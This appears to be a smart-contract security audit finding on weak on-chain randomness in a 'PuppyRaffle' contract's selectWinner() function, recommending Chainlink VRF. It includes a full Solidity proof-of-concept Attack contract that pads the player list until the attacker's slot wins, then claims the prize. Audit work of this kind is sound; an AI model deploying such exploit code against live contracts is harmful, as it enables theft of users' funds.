selectWinner() selects a winner by hashing msg.sender, block.timestamp, and block.difficulty.
All three values are either controlled or predictable by the caller. An attacker can compute the winning index off-chain and call selectWinner() only when the result maps to their own player slot.
Likelihood:
selectWinner() is permissionless — any address can call it after the raffle duration ends
On Proof-of-Stake, block.difficulty resolves to prevrandao, which validators can influence directly
Impact:
An attacker wins the NFT and prize pool in every raffle round
Protocol fairness is permanently broken; user trust collapses
The attacker pre-computes winnerIndex locally before broadcasting the transaction. They iterate through candidate block.timestamp values until the hash maps to their index, then time their call accordingly. Because selectWinner() is open to anyone, there is no gatekeeper to prevent this.
Replace on-chain pseudo-randomness with Chainlink VRF v2 for verifiable, tamper-proof randomness.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
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